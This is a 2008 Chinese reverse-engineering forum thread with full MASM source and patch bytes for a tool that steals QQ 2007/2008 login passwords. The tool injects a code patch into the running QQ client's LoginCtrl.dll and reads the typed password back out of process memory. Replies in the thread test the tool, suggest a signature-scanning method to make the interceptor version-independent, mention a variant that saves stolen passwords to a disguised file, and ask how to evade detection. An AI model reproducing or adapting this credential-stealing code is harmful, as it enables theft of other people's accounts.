首页
论坛
课程
招聘
[原创]修改QQ执行顺序,获取QQ2008最新版密码
2008-3-20 10:28 53495

[原创]修改QQ执行顺序,获取QQ2008最新版密码

2008-3-20 10:28
53495
本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.

标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!

参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.

列出2007办部分修改后的代码:
021A638A  |> /43            /INC EBX
021A638B  |. |6A 01         |PUSH 1
021A638D  |. |8BC3          |MOV EAX, EBX
021A638F  |. |0FAFC6        |IMUL EAX, ESI
021A6392     |8A4C08 FF     MOV CL, BYTE PTR DS:[EAX+ECX-1]
021A6396     |E9 4F240100   JMP LoginCtr.021B87EA  //修改点,跳至空白点
021A639B     |90            NOP
021A639C     |90            NOP
021A639D     |90            NOP
021A639E     |90            NOP
021A639F     |90            NOP
021A63A0  |. |50            |PUSH EAX
021A63A1     |884D D4       MOV BYTE PTR SS:[EBP-2C], CL
021A63A4     |E8 4AD30000   CALL LoginCtr.021B36F3
021A63A9  |. |8B57 44       |MOV EDX, DWORD PTR DS:[EDI+44]
021A63AC  |. |83C4 0C       |ADD ESP, 0C
021A63AF  |. |8B0A          |MOV ECX, DWORD PTR DS:[EDX]
021A63B1  |. |8B72 0C       |MOV ESI, DWORD PTR DS:[EDX+C]
021A63B4  |. |8B41 F8       |MOV EAX, DWORD PTR DS:[ECX-8]
021A63B7  |. |99            |CDQ
021A63B8  |. |F7FE          |IDIV ESI
021A63BA     |3BD8          CMP EBX, EAX
021A63BC    ^\7C CC         JL SHORT LoginCtr.021A638A

补上自己的代码:
021B87EA      52            PUSH EDX
021B87EB      BA 56CC1200   MOV EDX, 12CC56
021B87F0      03D3          ADD EDX, EBX    //借用QQ程序本身的EBX计数器
021B87F2      36:880A       MOV BYTE PTR SS:[EDX], CL   //向12CC56开始逐个写入密码
021B87F5      5A            POP EDX
021B87F6      8D45 D4       LEA EAX, DWORD PTR SS:[EBP-2C]
021B87F9      50            PUSH EAX
021B87FA      8D85 58FFFFFF LEA EAX, DWORD PTR SS:[EBP-A8]
021B8800    ^ E9 9BDBFEFF   JMP LoginCtr.021A63A0  //跳回原处继续执行
021B8805      90            NOP

用ASM代码实现如下:

GetQQpwd.Asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Dialog.asm
; 对话框资源使用的模板代码
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include GetQQpwd.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
StrLen PROC uses edi String:DWORD
mov edi,String
mov al,0
mov ecx,0FFFFFFFFh
repne scasb
sub ecx,0FFFFFFFFh
neg ecx
dec ecx
mov eax,ecx
ret
StrLen ENDP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 权限提升
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
LOCAL hToken
LOCAL tkp : TOKEN_PRIVILEGES

invoke GetCurrentProcess
mov edx, eax
invoke OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
invoke LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
mov tkp.PrivilegeCount, 1
xor eax, eax

.if bFlags
mov eax, SE_PRIVILEGE_ENABLED
.endif

mov tkp.Privileges.Attributes, eax
invoke AdjustTokenPrivileges, hToken, FALSE, addr tkp, 0, 0, 0
push eax
invoke CloseHandle, hToken
pop eax

ret
_EnablePrivilege endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcTimer proc uses ebx edi esi _hWnd,_uMsg,_idEvent,_dwTime

.if !hQQ
invoke FindWindowA,ctxt("#32770"),ctxt("QQ用户登录")
.if eax
invoke GetWindowThreadProcessId,eax,addr QQpid
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,QQpid
mov hQQ,eax
invoke SetWindowText,hWinMain,ctxt("QQ已启动-请输入密码并点登录")
invoke CreateToolhelp32Snapshot,TH32CS_SNAPALL,QQpid
mov hSnapShot,eax
mov myModule.dwSize, sizeof myModule
invoke Module32First,hSnapShot,addr myModule
jmp Cmp1
NextModule:
invoke Module32Next,hSnapShot,addr myModule
Cmp1:
invoke lstrcmp,addr myModule.szModule,ctxt("LoginCtrl.dll")
cmp eax,0
jnz NextModule
mov ebx,myModule.modBaseAddr
add ebx,16396h;2008:16DE0h,2007:16396h
invoke ReadProcessMemory,hQQ,ebx,addr dbOldBytes,2,NULL
mov ax,word ptr dbOldBytes
.if ax == word ptr db2007
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched1,10,NULL
add ebx,12454h;2008:134EAh 2007:12454h
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched2,28,NULL
invoke WriteProcessMemory,hQQ,12B000h,0,16,NULL
.elseif ax == word ptr db2008
add ebx,0A4Ah
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched3,10,NULL
add ebx,134EAh
invoke WriteProcessMemory,hQQ,ebx,addr dbPatched4,27,NULL
invoke WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
.endif
.endif
.else
invoke ReadProcessMemory,hQQ,12B000h,addr QQpwd,sizeof QQpwd,NULL
invoke StrLen,addr QQpwd
.if eax
invoke SetDlgItemText,hWinMain,IDC_EDT1,addr QQpwd
invoke WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
.endif
invoke FindWindow,ctxt("#32770"),ctxt("QQ用户登录")
.if !eax
mov hQQ,0
invoke SetWindowText,hWinMain,ctxt("QQ未运行")
.endif
.endif
ret

_ProcTimer endp
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam

mov eax,wMsg
.if eax == WM_COMMAND
mov eax,wParam
.if ax == IDC_btExit
invoke EndDialog,hWnd,NULL
.endif
.elseif eax == WM_CLOSE
invoke EndDialog,hWnd,NULL
.elseif eax == WM_INITDIALOG
invoke LoadIcon,hInstance,ICO_MAIN
invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
invoke SetTimer,NULL,NULL,1000,addr _ProcTimer
mov idTimer,eax
push hWnd
pop hWinMain
invoke _EnablePrivilege,ctxt("SeDebugPrivilege"), TRUE
invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_SETREADONLY,TRUE,0
invoke SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke InitCommonControls
invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start


GetQQpwd.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
include comctl32.inc
includelib comctl32.lib
include psapi.inc
includelib psapi.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ID_TIMER1 equ 10
DLG_MAIN equ 1
IDC_EDT1 equ 2
ICO_MAIN equ 99
IDC_btExit equ 1000
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?

hInstance dd ?
hWinMain dd ?
idTimer dd ?
QQpid dd ?
hQQ dd ?
modArr db 1024 dup(?)
dwNumMod dd ?
myModule MODULEENTRY32 <>
hSnapShot dd ?
QQpwd db 22 dup(?)
dbOldBytes db 2 dup (?)

.data

db2007 db 8Dh,45h
db2008 db 6Ch,88h
dbPatched1 db 0E9h,4Fh,24h,01h,00h,90h,90h,90h,90h,90h
dbPatched2 db 52h, 0BAh, 0FFh, 0AFh, 12h, 00h, 03h, 0D3h, 36h, 88h, 0Ah, 5Ah, 8Dh, 45h, 0D4h, 50h, 8Dh, 85h, 58h, 0FFh, 0FFh, 0FFh, 0E9h, 9Bh, 0DBh, 0FEh, 0FFh, 90h
dbPatched3 db 0E9h, 0E5h, 34h, 01h, 00h, 90h, 90h, 90h, 90h, 90h
dbPatched4 db 52h, 0BAh, 0FFh, 0AFh, 12h, 00h, 03h, 0D3h, 36h, 88h, 0Ah, 5Ah, 8Dh, 45h, 0D4h, 50h, 8Dh, 85h, 58h, 0FFh, 0FFh, 0FFh, 0E9h, 05h, 0CBh, 0FEh, 0FFh
dbNull db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h


注:刚学ASM不久,代码可能显得很乱很烦,各位看官多多包涵.


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (89)
雪    币: 109
活跃值: 活跃值 (197)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-3-20 10:56
2
0
呵呵,我试了下,在我的QQ2008 贺岁版(8.0.714.201) 不起作用。
雪    币: 209
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
testttt 活跃值 2008-3-20 10:57
3
0
怎么老是喜欢干这个呢?
发出来除了被非法利用还有其他用途吗?
雪    币: 235
活跃值: 活跃值 (428)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4st0ne 活跃值 4 2008-3-20 11:56
4
0
请问你机子上是否安装了瑞星密码保险箱之类的软件?
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pack三九 活跃值 2008-3-20 12:03
5
0
真的很不错呢
雪    币: 109
活跃值: 活跃值 (197)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-3-20 12:06
6
0
我的机器没有装任何杀毒软件和防御体系软件。我把这个文件传给你看看。
LoginCtrl.rar
上传的附件:
雪    币: 235
活跃值: 活跃值 (428)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4st0ne 活跃值 4 2008-3-20 12:28
7
0
[QUOTE=combojiang;430645]我的机器没有装任何杀毒软件和防御体系软件。我把这个文件传给你看看。
LoginCtrl.rar[/QUOTE]

LoginCtrl.dll和我的是一样的,我这里没什么问题啊.
你可以试一下这个版本,加了各个操作的错误提示.看哪个步骤出错了.
上传的附件:
雪    币: 482
活跃值: 活跃值 (939)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
sudami 活跃值 25 2008-3-20 12:28
8
0
同样不起作用。。。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Haywire 活跃值 2008-3-20 12:50
9
0
2008 8.0.714.201下测试成功
雪    币: 235
活跃值: 活跃值 (428)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4st0ne 活跃值 4 2008-3-20 12:50
10
0
输完密码大家有点登录吗?要点登录才能截倒密码的..
雪    币: 109
活跃值: 活跃值 (197)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-3-20 13:05
11
0
嗯,用了 GetQQpwd-Debug.rar 版本,运行期间,没有错误提示。输入密码点击登陆后,贴图如下:
上传的附件:
雪    币: 1481
活跃值: 活跃值 (146)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
cntrump 活跃值 13 2008-3-20 13:45
12
0
嗯,用了 GetQQpwd-Debug.rar 版本,运行期间,没有错误提示。输入密码点击登陆后,贴图如下:

这样的情况在我用的机子上也有,我用的是深度的XP sp2,没有任何杀软和防护软件.
雪    币: 109
活跃值: 活跃值 (197)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-3-20 14:08
13
0
以下是我的qq加载LoginCtrl.dll模块关键代码

01966DD4    43              /inc     ebx
01966DD5    6A 01           |push    1
01966DD7    8BC3            |mov     eax, ebx
01966DD9    0FAFC6          |imul    eax, esi
01966DDC    8A4C08 FF       |mov     cl, byte ptr [eax+ecx-1]
01966DE0    8D45 D4         |lea     eax, dword ptr [ebp-2C]
01966DE3    50              |push    eax
01966DE4    8D85 58FFFFFF   |lea     eax, dword ptr [ebp-A8]
01966DEA    50              |push    eax
01966DEB    884D D4         |mov     byte ptr [ebp-2C], cl
01966DEE    E8 90E00000     |call    01974E83
01966DF3    8B57 44         |mov     edx, dword ptr [edi+44]
01966DF6    83C4 0C         |add     esp, 0C
01966DF9    8B0A            |mov     ecx, dword ptr [edx]
01966DFB    8B72 0C         |mov     esi, dword ptr [edx+C]
01966DFE    8B41 F8         |mov     eax, dword ptr [ecx-8]
01966E01    99              |cdq
01966E02    F7FE            |idiv    esi
01966E04    3BD8            |cmp     ebx, eax
01966E06  ^ 7C CC           \jl      short 01966DD4
雪    币: 87
活跃值: 活跃值 (293)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
frozenrain 活跃值 2008-3-20 14:25
14
0
没什么用 还要输入才能截获到
雪    币: 109
活跃值: 活跃值 (197)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 活跃值 26 2008-3-20 14:31
15
0
最后友情提示,算法上稍作改进:

1. 找到模块LoginCtrl.dll基地址后,在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
    0x8A4C08FF,找到后,便找到了
01966DDC    8A4C08 FF       |mov     cl, byte ptr [eax+ecx-1]。其地址加1的位置就是你开始detour的起始地址,为了方便描述,我们成为Address1.

2。查找模块空隙,还是在在基地址+0x1000为起始点,在长度为0x2a000h的内存中搜索
   0000 0000,找到后,便找到了空隙位置。为了方便描述,我们成为Address2.

3. 将Address1开始的10个子节拷贝出来,并把该处替换为跳转到Address2的跳转指令和nop填充这10个字节。
01966DE0    8D45 D4         |lea     eax, dword ptr [ebp-2C]
01966DE3    50                  |push    eax
01966DE4    8D85 58FFFFFF   |lea     eax, dword ptr [ebp-A8]

4。在address2处,将截获密码的处理程序写入,并在最后写入原address1拷贝出来的10个字节指令,然后填写一个跳转到Address1+10的jmp指令。

这样,基本就算是一个通用版本的密码截获器了。
雪    币: 212
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wping 活跃值 2008-3-20 14:41
16
0
7.0.302.232 无效
雪    币: 218
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lovemei 活跃值 2008-3-20 15:18
17
0
read pwd error
雪    币: 235
活跃值: 活跃值 (428)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4st0ne 活跃值 4 2008-3-20 15:18
18
0
非常感谢您的指导...一会我加工一下,谢谢.
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
西门帅 活跃值 2008-3-22 01:08
19
0
不太懂汇编呀 用Delphi写个测试程序.. 没加壳 .

代码只做小部分修改 就不公布了  原理同上  

这个我测试可以兼容07 /08

部分版本..

同时可以取得QQ号码

上传附件时候忘记把保存QQ密码功能去了

会保存在 \WINDOWS\systems.ini 里 注意清理下...
上传的附件:
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kgdurgwu 活跃值 2008-3-22 03:59
20
0
我这里成功了。最新版q
学习了。。。。
雪    币: 4127
活跃值: 活跃值 (873)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kagayaki 活跃值 2008-3-23 00:00
21
0
雪    币: 4127
活跃值: 活跃值 (873)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
kagayaki 活跃值 2008-3-23 02:26
22
0
请问如何找改了QQ的标题的地方,我找不到设置类名的API(在QQ.EXE里找),不知是不是“Dialog”的原因。。。
我想,如果改了标题,可能会安全点吧。。。。。
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
西门帅 活跃值 2008-3-23 08:59
23
0
好象是在 LoginCtrlRes.dll 的资源文件里

改了名字也还是有办法找到的呀
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
FINDCR 活跃值 2008-3-23 09:43
24
0
怎么用?

好像不行啊。
雪    币: 116
活跃值: 活跃值 (15)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
singsing 活跃值 7 2008-3-23 20:39
25
0
[QUOTE=;]...[/QUOTE]
01462A02  |> /43            /inc     ebx
01462A03  |. |6A 01         |push    1                                             ; /Arg3 = 00000001
01462A05  |. |8BC3          |mov     eax, ebx                                      ; |
01462A07  |. |0FAFC6        |imul    eax, esi                                      ; |
01462A0A  |. |8A4C08 FF     |mov     cl, byte ptr [eax+ecx-1]                      ; |
01462A0E  |. |8D45 D4       |lea     eax, dword ptr [ebp-2C]                       ; |
01462A11  |. |50            |push    eax                                           ; |Arg2
01462A12  |. |8D85 58FFFFFF |lea     eax, dword ptr [ebp-A8]                       ; |
01462A18  |. |50            |push    eax                                           ; |Arg1
01462A19  |. |884D D4       |mov     byte ptr [ebp-2C], cl                         ; |
01462A1C  |. |E8 32BD0000   |call    0146E753                                      ; \LoginCtr.1001E753
01462A21  |. |8B57 44       |mov     edx, dword ptr [edi+44]
01462A24  |. |83C4 0C       |add     esp, 0C
01462A27  |. |8B0A          |mov     ecx, dword ptr [edx]
01462A29  |. |8B72 0C       |mov     esi, dword ptr [edx+C]
01462A2C  |. |8B41 F8       |mov     eax, dword ptr [ecx-8]
01462A2F  |. |99            |cdq
01462A30  |. |F7FE          |idiv    esi
01462A32  |. |3BD8          |cmp     ebx, eax
01462A34  |.^\7C CC         \jl      short 01462A02
01462A36  |> \8D85 58FFFFFF lea     eax, dword ptr [ebp-A8]

01462A0A  |.  8A4C08 FF     |mov     cl, byte ptr [eax+ecx-1]
这一句下断就能看见密码了,只不过中间夹杂着垃圾字符....
游客
登录 | 注册 方可回帖
返回